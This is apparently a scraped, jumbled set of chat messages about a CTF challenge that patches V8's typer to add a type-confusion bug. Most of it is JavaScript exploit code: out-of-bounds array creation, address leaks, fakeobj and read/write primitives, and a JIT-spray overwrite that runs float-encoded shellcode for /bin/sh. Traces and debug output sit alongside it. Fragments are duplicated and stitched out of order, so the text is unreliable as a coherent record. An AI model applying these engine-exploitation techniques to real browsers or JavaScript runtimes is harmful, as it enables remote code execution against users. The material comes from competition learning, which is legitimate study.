nc typer.chal.crewc.tf 17004
Files:Tags: No tags.diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc
index 1a1f2b59183..a22530094f7 100644
--- a/src/compiler/js-call-reducer.cc
+++ b/src/compiler/js-call-reducer.cc
@@ -6370,9 +6370,9 @@ Reduction JSCallReducer::ReduceArrayIteratorPrototypeNext(Node* node) {
// This extra check exists to refine the type of {index} but also to break
// an exploitation technique that abuses typer mismatches.
index = etrue = graph()->NewNode(
- simplified()->CheckBounds(p.feedback(),
- CheckBoundsFlag::kAbortOnOutOfBounds),
- index, length, etrue, if_true);
+ common()->TypeGuard(
+ Type::Range(0.0, length_access.type.Max() - 1.0, graph()->zone())),
+ index, etrue, if_true);
done_true = jsgraph()->FalseConstant();
if (iteration_kind == IterationKind::kKeys) {
diff --git a/src/compiler/operation-typer.cc b/src/compiler/operation-typer.cc
index bd57b79ed49..154ace2450e 100644
--- a/src/compiler/operation-typer.cc
+++ b/src/compiler/operation-typer.cc
@@ -363,7 +363,7 @@ Type OperationTyper::NumberAbs(Type type) {
type = Type::Union(type, cache_->kSingletonZero, zone());
}
if (maybe_nan) {
- type = Type::Union(type, Type::NaN(), zone());
+ type = Type::PlainNumber();
}
return type;
}var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
};
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
};
function hex(val) {
return val.toString(16);
};
const shsh = () => {
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
shsh();
}
const f = () => 123;
var oob = undefined;
var o = undefined;
var ua = undefined
function foo(b) {
let c = String.fromCharCode(65);
let ar1 = [1.1, 2.2, 3.3, 4.4, 5.5];
let o2 = { x: 0x1337, a: shsh, b: f };
let ua2 = new Uint32Array(2);
// let ar2 = [{c:1}];
// let ar3 = [3.3,3.3,3.3,3.3,3.3];
var x = 0;
var y = -0x80000000;
if (b) {
x = -1;
y = 1;
}
var i = x - y;
i += 1;
i = Math.max(i, 0x80000000 - 5)
i -= 0x80000000
i -= 1
i *= -1
ar1[i] = itof((ftoi(ar1[i]) & 0xffffffffn) | 0x10000000000n);
oob = ar1;
o = o2;
ua = ua2;
return 1;
};
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
function d2u(val)
{ //double ==> Uint64
__dvCvt.setFloat64(0, val, true);
return __dvCvt.getUint32(0, true) +
__dvCvt.getUint32(4, true) * 0x100000000;
}
function u2d(val)
{ //Uint64 ==> double
const tmp0 = val % 0x100000000;
__dvCvt.setUint32(0, tmp0, true);
__dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
return __dvCvt.getFloat64(0, true);
}
function d22u(val)
{ //double ==> 2 * Uint32
__dvCvt.setFloat64(0, val, true);
}
for (let i = 0; i != 0x10000; i++) {
foo(0);
};
foo(1);
console.log(oob.length)
d22u(oob[9]);
const fooAddr = __dvCvt.getUint32(0, true);
const fAddr = __dvCvt.getUint32(4, true);
console.log(hex(fooAddr));
console.log(hex(fAddr));
function readOff(off)
{
oob[26] = u2d((off-7) * 0x100000000);
return ua[0];
}
function writeOff(off, val)
{
oob[26] = u2d((off-7) * 0x100000000);
ua[0] = val;
}
// %DebugPrint(oob);
console.log("[+] overwriting jit...");
jitAddr = readOff(fooAddr + 0x17);
console.log(hex(jitAddr));
rwx_low = readOff(jitAddr+7);
console.log(hex(rwx_low));
writeOff(jitAddr+7,rwx_low+0x6f); // local
// writeOff(jitAddr+7,rwx_low+0x78); // remote
console.log("[+] /bin/sh");
shsh();
damnfunction foo(x) {
return isNaN(Math.abs(x));
}
foo(NaN);
for (let i = 0; i < 100000; ++i) foo(NaN);
console.log(foo(NaN));


function foo(x) {
return isNaN(Math.abs(x));
}
foo(NaN);
for (let i = 0; i < 100000; ++i) foo(NaN);
console.log(foo(NaN)); function foo(a,v){
var wt= "exist ".indexOf(a);
wt = wt + 1;
wt= wt*0x20//real : 0, opt : big num
wt+=1//avoid 0x0800222d = FixedArray[0]
var arr = new Array(wt);
// arr[1]=1.1
var fake = new Array(0x10);
for(var j =0;j<0xf;j++){
fake[j]=v;//spray.element ptr
}
var oob = arr[Symbol.iterator]();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
return oob.next();
}
This worked in my previous solution for asis quals, but doesnt nowfunction foo(b, obj){
let a = "aaaaa";
//actual = -1
let result = a.indexOf(b);
//actual = -1, typer = [4, 536870888]
result = Math.max(result, 536870887);
//actual = -1, typer = [0, 1023]
result >>= 0x13;
result += 2;
//actual = 1, typer think its 0
let arr = Array(result);
arr[0] = 1.1;
let cor = [1.1, obj]
//iterator typer thinks he created a very big array
//but the actual array created only have size of 1
let itx = arr.values();
itx.next();
itx.next();
let leak = itx.next().value;
let leak2 = itx.next().value;
return [arr, itx, cor, leak, leak2];
}function foo(a,v){
var wt= "exist ".indexOf(a);
wt = wt + 1;
wt= wt*0x20//real : 0, opt : big num
wt+=1//avoid 0x0800222d = FixedArray[0]
var arr = new Array(wt);
// arr[1]=1.1
var fake = new Array(0x10);
for(var j =0;j<0xf;j++){
fake[j]=v;//spray.element ptr
}
var oob = arr[Symbol.iterator]();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
return oob.next();
}
This worked in my previous solution for asis quals, but doesnt now 
- Replacement of #110: SpeculativeToNumber[NumberOrOddball, FeedbackSource(#6)](109, 13, 7) with #109: NumberConstant[nan] by reducer TypedOptimization
- Replacement of #111: NumberAbs(109) with #109: NumberConstant[nan] by reducer SimplifiedOperatorReducer
- Replacement of #113: SpeculativeToNumber[NumberOrOddball, FeedbackSource(#10)](109, 13, 7) with #109: NumberConstant[nan] by reducer TypedOptimization
- Replacement of #114: NumberIsNaN(109) with #148: HeapConstant[0x28e100000dd5 <false>] by reducer ConstantFoldingReducer--trace-turbo-reductionfunction foo(x) {
return isNaN(Math.abs(x));
}
foo(NaN);
for (let i = 0; i < 100000; ++i) foo(NaN);
console.log(foo(NaN)); - Replacement of #110: SpeculativeToNumber[NumberOrOddball, FeedbackSource(#6)](109, 13, 7) with #109: NumberConstant[nan] by reducer TypedOptimization
- Replacement of #111: NumberAbs(109) with #109: NumberConstant[nan] by reducer SimplifiedOperatorReducer
- Replacement of #113: SpeculativeToNumber[NumberOrOddball, FeedbackSource(#10)](109, 13, 7) with #109: NumberConstant[nan] by reducer TypedOptimization
- Replacement of #114: NumberIsNaN(109) with #148: HeapConstant[0x28e100000dd5 <false>] by reducer ConstantFoldingReducer function foo(b, obj){
let a = "aaaaa";
//actual = -1
let result = a.indexOf(b);
//actual = -1, typer = [4, 536870888]
result = Math.max(result, 536870887);
//actual = -1, typer = [0, 1023]
result >>= 0x13;
result += 2;
//actual = 1, typer think its 0
let arr = Array(result);
arr[0] = 1.1;
let cor = [1.1, obj]
//iterator typer thinks he created a very big array
//but the actual array created only have size of 1
let itx = arr.values();
itx.next();
itx.next();
let leak = itx.next().value;
let leak2 = itx.next().value;
return [arr, itx, cor, leak, leak2];
} function foo(x) {
let a = Math.abs(x);
let b = Math.ceil(a);
let i = Math.abs(b);
i = Math.max(i, 0x100000800);
i = Math.min(0x100000801, i);
i -= 0x1000007fa;
return i;
}
for(let i = 0; i < 100000; i++){
foo(NaN);
}
console.log(foo(NaN));...
NaN undefined
NaN undefined
NaN undefined
2050 undefined
...
2050 undefined
[1] 47656 trace trap ./d8 ex.js
function foo(x) {
let a = Math.abs(x);
let b = Math.ceil(a);
let i = Math.abs(b);
i = Math.max(i, 0x100000800);
i = Math.min(0x100000801, i);
i -= 0x1000007fa;
return i;
}
for(let i = 0; i < 100000; i++){
foo(NaN);
}
console.log(foo(NaN)); var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
u64_buf[1] = Number(BigInt(val) >> 32n);
return f64_buf[0];
}
function hex(val){
return "0x"+val.toString(16)
}
function foo(x) {
let a = Math.abs(x);
let b = Math.ceil(a);
let i = Math.abs(b);
i = Math.max(i, 0x100000800);
i = Math.min(0x100000801, i);
i -= 0x1000007fa;
i += 2043;
i >>= 1;
i += 2;
let arr = Array(i);
arr[0] = 1.1;
arr[1] = 1.1;
var oob = arr[Symbol.iterator]();
oob.next();
oob.next();
return [oob, oob.next().value];
}
for(let i = 0; i < 90000; i++){
foo(NaN);
}
ret = foo(NaN);
print(hex(ftoi(ret[1])));for(let i = 0; i < 10000; i++){
foo(NaN);
}
DebugPrint: 0x268c0031a709: [JSArray]
- map: 0x268c0018ece5 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x268c0018e705 <JSArray[0]>
- elements: 0x268c0031a6e9 <JSArray[5]> [PACKED_DOUBLE_ELEMENTS]
- length: 6144
- properties: 0x268c00000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x268c00000e0d: [String] in ReadOnlySpace: #length: 0x268c00144a45 <AccessorInfo name= 0x268c00000e0d <String[6]: #length>, data= 0x268c00000251 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x268c0031a6e9 <JSArray[5]> {
0: 2.12216e-313
1: 3.58485e-308
2: 2.122e-313
3: 1.13951e-311
4: 2.60751e-310
5: 1.3
6: 1.4
7: 1.5
8: 8.48798e-314
9: 1.31776e-311
10: 1.13951e-311
11: 8.48959e-314
12: 8.48798e-314
function fakeobj(x, obj) {
let a = Math.abs(x);
let b = Math.ceil(a);
let i = Math.abs(b);
i = Math.max(i, 0x100000800);
i = Math.min(0x100000801, i);
i -= 0x1000007fa;
i += 2043;
i >>= 1;
i += 2;
let arr = Array(i);
arr[0] = {};
arr[1] = 1.1;
var cor = [1.2, obj, 1.2]; // obj here is a fake address
var victim = [1.1, 1.2, 1.3, 1.4, 1.5]
var oob = arr[Symbol.iterator]();
oob.next(); // spam oob.next() to reach the fake address
oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();
let leak = oob.next().value;
//let leak2 = oob.next().value;
//let leak3 = oob.next().value;
//let leak4 = oob.next().value;
//let leak5 = oob.next().value;
//let leak6 = oob.next().value;
return [arr, oob, cor, leak, victim];
}
I jitted this (edited)snapshot_blob.bin let a = Math.abs(x);
let b = Math.ceil(a);
let i = Math.abs(b);
I still dk how this works, will figure out later lol (edited)type = Type::Intersect(type, Type::PlainNumber(), zone());
if (!type.IsNone()) {
double const max = type.Max();
double const min = type.Min();
if (min < 0) {
if (type.Is(cache_.kInteger)) {
type =
Type::Range(0.0, std::max(std::fabs(min), std::fabs(max)), zone());
} else {
type = Type::PlainNumber();
}
}
}Type OperationTyper::NumberCeil(Type type) {
DCHECK(type.Is(Type::Number()));
if (type.Is(cache_.kIntegerOrMinusZeroOrNaN)) return type;
type = Type::Intersect(type, Type::NaN(), zone());
type = Type::Union(type, cache_.kIntegerOrMinusZero, zone());
return type;
}type = Type::Intersect(type, Type::PlainNumber(), zone());
if (!type.IsNone()) {
double const max = type.Max();
double const min = type.Min();
if (min < 0) {
if (type.Is(cache_.kInteger)) {
type =
Type::Range(0.0, std::max(std::fabs(min), std::fabs(max)), zone());
} else {
type = Type::PlainNumber();
}
}
} 